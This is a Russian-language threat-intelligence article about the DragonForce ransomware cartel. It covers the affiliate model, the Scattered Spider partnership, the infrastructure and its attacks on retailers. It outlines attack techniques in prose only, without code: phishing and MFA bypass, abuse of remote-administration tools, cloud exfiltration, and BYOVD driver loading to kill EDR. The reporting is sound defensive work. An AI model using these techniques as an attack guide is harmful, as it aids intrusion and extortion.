В начале 2025 года на теневых форумах появилось заявление о формировании Ransomware Cartel под руководством DragonForce. Новый формат предполагал, что центральная команда предоставляет платформу, инфраструктуру и техническую базу, а независимые группы-аффилиаты выпускают собственные версии шифровальщиков под разными брендами.

По условиям партнёрства аффилиаты получали до **80 % от выкупа**, что делало участие крайне привлекательным. Центральное ядро брало на себя заботы о хостинге, шифровании трафика, защите каналов связи и публикации утечек. Взамен требовалось соблюдать «кодекс поведения» картеля: не атаковать медучреждения, не вмешиваться в политические конфликты и не дискредитировать бренд DragonForce.

Эта стратегия позволила быстро расширить сеть и привлечь новых игроков, среди которых оказалась и группа Scattered Spider, известная фишинговыми кампаниями и взломами через SIM-своппинг.

Партнёрство со Scattered Spider

Связка DragonForce и Scattered Spider стала одной из самых результативных комбинаций последних лет. Scattered Spider специализируется на первичном доступе — социальной инженерии, фишинге, компрометации учётных записей и обходе MFA. Получив контроль над корпоративной сетью, они передают её DragonForce для финальной стадии — шифрования и вымогательства.

Среди подтверждённых атак фигурирует британская сеть розничной торговли Marks & Spencer, а также компании Harrods и несколько страховых и авиационных корпораций. Такой подход напоминает бизнес-модель «франшизы»: одни добывают доступ, другие превращают его в прибыль.

Инфраструктура картеля

DragonForce создал полноценную платформу для партнёров. Она включает панель управления, конструктор шифровальщиков, инструменты DDoS-атак и встроенный хостинг на .onion-доменах. Каждый аффилиат получает собственное пространство и может действовать под своим брендом — Devman, Mamona, Global и другие.

Эта схема делает картель похожим на «теневой стартап-инкубатор»: техническая часть централизована, а маркетинг и «брендинг» аффилиаты берут на себя. В итоге даже новичок без глубоких знаний программирования может запустить собственную кампанию вымогательства, полагаясь на готовый набор инструментов.

Тактика Scattered Spider

Тактика Scattered Spider основана на человеческом факторе. Группа активно анализирует профили сотрудников в LinkedIn и других соцсетях, создаёт правдоподобные копии страниц и ведёт диалог от имени коллег или службы поддержки. При этом злоумышленники не ограничиваются письмами — они часто звонят жертвам, выдавая себя за IT-специалистов компании.

После получения доступа к учётным записям злоумышленники устанавливают инструменты удалённого администрирования (AnyDesk, ScreenConnect, TeamViewer, Splashtop), а затем переходят к разведке сети. Исследуются домены Active Directory, инфраструктура VMware, резервные системы и VPN-шлюзы.

Для скрытого распространения используется AWS Systems Manager Inventory, а для эксфильтрации данных — облачные сервисы MEGA или Amazon S3. В финале активируется шифровальщик DragonForce, способный поражать Windows-, Linux- и ESXi-серверы.

Внутреннее устройство DragonForce

Новые версии шифровальщика значительно выросли в объёме — разработчики перешли на сборку через MinGW, что сделало код кроссплатформенным. Однако вместе с этим появились ошибки: часть строк, ранее скрытых библиотекой ADVObfuscator, теперь видна в открытом виде. Это упрощает анализ, но также показывает, что проект активно развивается и постоянно адаптируется.

Перед запуском вредонос проверяет окружение с помощью модулей `InitializeApiModule` и `DisableHooks`, после чего расшифровывает собственную конфигурацию, зашифрованную алгоритмом ChaCha20. В ней задаются параметры шифрования, исключения, список процессов для завершения и тип расширений, которые будут изменены.

Техника BYOVD

Одна из ключевых особенностей DragonForce — использование техники Bring Your Own Vulnerable Driver (BYOVD). В конфигурации есть параметр `use_sys`: при его активации вредонос загружает уязвимые драйверы ядра, такие как *Truesight.sys и rentdrv2.sys, и через вызовы `DeviceIoControl` завершает процессы антивирусов и EDR-систем.

Эта методика даёт злоумышленникам возможность буквально «отключать» защиту на уровне ядра, обходя даже современные механизмы самозащиты. BYOVD давно применяется в продвинутых кампаниях, но DragonForce сделал её массовой, интегрировав в стандартный билд.

Алгоритм шифрования

Шифровальщик сканирует локальные и сетевые ресурсы по протоколу SMB. Для каждого файла создаётся уникальный ключ ChaCha20, который затем шифруется открытым ключом RSA и помещается в заголовок. В конце файла добавляется служебный блок с контрольными данными.

После завершения процесса создаётся текстовый файл «readme.txt» с инструкциями для жертвы.

Стиль переговоров

Записки DragonForce отличаются особым тоном — они написаны вежливо, без лишнего запугивания. Жертве предлагается протестировать расшифровку, получить консультацию и договориться о выкупе, сумма которого рассчитывается исходя из финансового положения компании.

Картель позиционирует себя как «честного партнёра»: не стремится уничтожить данные, обещает не атаковать повторно и заявляет об «аполитичности». При этом угроза остаётся прямой — в случае отказа данные публикуются в блоге DragonNews. Такой стиль формирует имидж «кибербизнеса», где шантаж преподносится как сделка.

Семейства Devman, Mamona и Global

Рост картеля породил несколько ответвлений. Одним из первых стал Devman, использующий те же механизмы, что и DragonForce, но с собственным расширением `.devman`. Аналитики считают, что Devman был одним из первых аффилиатов, экспериментировавших с брендированием под руководством DragonForce.

Позднее появились Mamona и Global — проекты пользователя «$», ранее связанного с Eldorado и BlackLock. Их код и структура полностью совпадают с DragonForce, что подтверждает общие корни и общую инфраструктуру.

Борьба за власть в подполье

После объявления о создании картеля DragonForce начал активно отстаивать позиции. Первым ударом стала атака на конкурентов из **BlackLock** — их сайт утечек был взломан и дефейснут с подписью DragonForce. Через несколько недель группа предприняла попытку захвата инфраструктуры **RansomHub**, что вызвало масштабный конфликт и миграцию аффилиатов к другим картелям, включая Qilin.

Эти эпизоды показывают, что подпольный рынок всё чаще напоминает борьбу корпораций: не только конкуренция за клиентов, но и открытые «враждебные поглощения».

Адаптация и развитие

После публикации статьи на Habr, где специалисты описали уязвимости шифра Akira, разработчики DragonForce быстро внесли исправления, устранив похожие проблемы в своём коде. Это говорит о высоком уровне организации — за проектом стоят не одиночки, а целая команда инженеров, готовых оперативно реагировать на внешние отчёты.

Эта способность к быстрой адаптации и постоянное обновление делают DragonForce одной из самых устойчивых угроз последних лет.

Масштаб атак и последствия

С конца 2023 года на сайте утечек картеля появилось более **двух сотен записей** о жертвах. Среди них — крупные компании из розничной торговли, страхования, авиаперевозок, IT-услуг и управляемых сервисов. Каждая публикация сопровождается образцами похищенных файлов и отсчётом времени до полной публикации.

Некоторые жертвы пытались вести переговоры, другие обращались в правоохранительные органы, но практика показывает, что даже после оплаты выкупа данные нередко остаются в распоряжении злоумышленников. DragonForce строит стратегию давления на репутацию: публикует логотипы, выдержки из документов, внутренние переписки. Всё это усиливает эффект страха и стимулирует другие компании платить быстрее.

Артефакты и следы

Аналитики Acronis собрали десятки исполнимых файлов PE и ELF, связанных с DragonForce. Среди них разные версии шифровальщика и утилиты для сбора данных. Хэши этих файлов опубликованы в отчётах, что помогает системным администраторам строить детекторы.

В сети Tor действует несколько связанных сайтов: портал DragonNews, где публикуются утечки и пресс-релизы, и панели переговоров, к которым доступ получают только жертвы. Такая структура повторяет модель Conti, но теперь она оформлена как полноценная экосистема с чёткой иерархией.

Новый тип преступной экономики

DragonForce показал, что эпоха одиночных вымогателей уходит. На смену приходят картели, выстроенные по принципам бизнеса: партнёрские программы, брендинг, PR-кампании и даже внутренние правила этики.

Используя код Conti и гибкую организационную модель, DragonForce сумел создать платформу, где каждый участник получает свою долю прибыли и независимость действий. Партнёрство со Scattered Spider и другими акторами превратило картель в одну из самых заметных сил киберподполья.

Сочетание социальной инженерии, BYOVD-эксплойтов, активного маркетинга и способности быстро адаптироваться делает DragonForce не просто угрозой, а примером новой экономической формации в мире киберпреступности.

Если тенденция продолжится, то ближайшие годы могут стать временем консолидации цифрового подполья, где под едиными «брендами» будут действовать десятки автономных команд. DragonForce, судя по всему, уже занял своё место в этой системе — как картель, у которого есть не только сила, но и стратегия.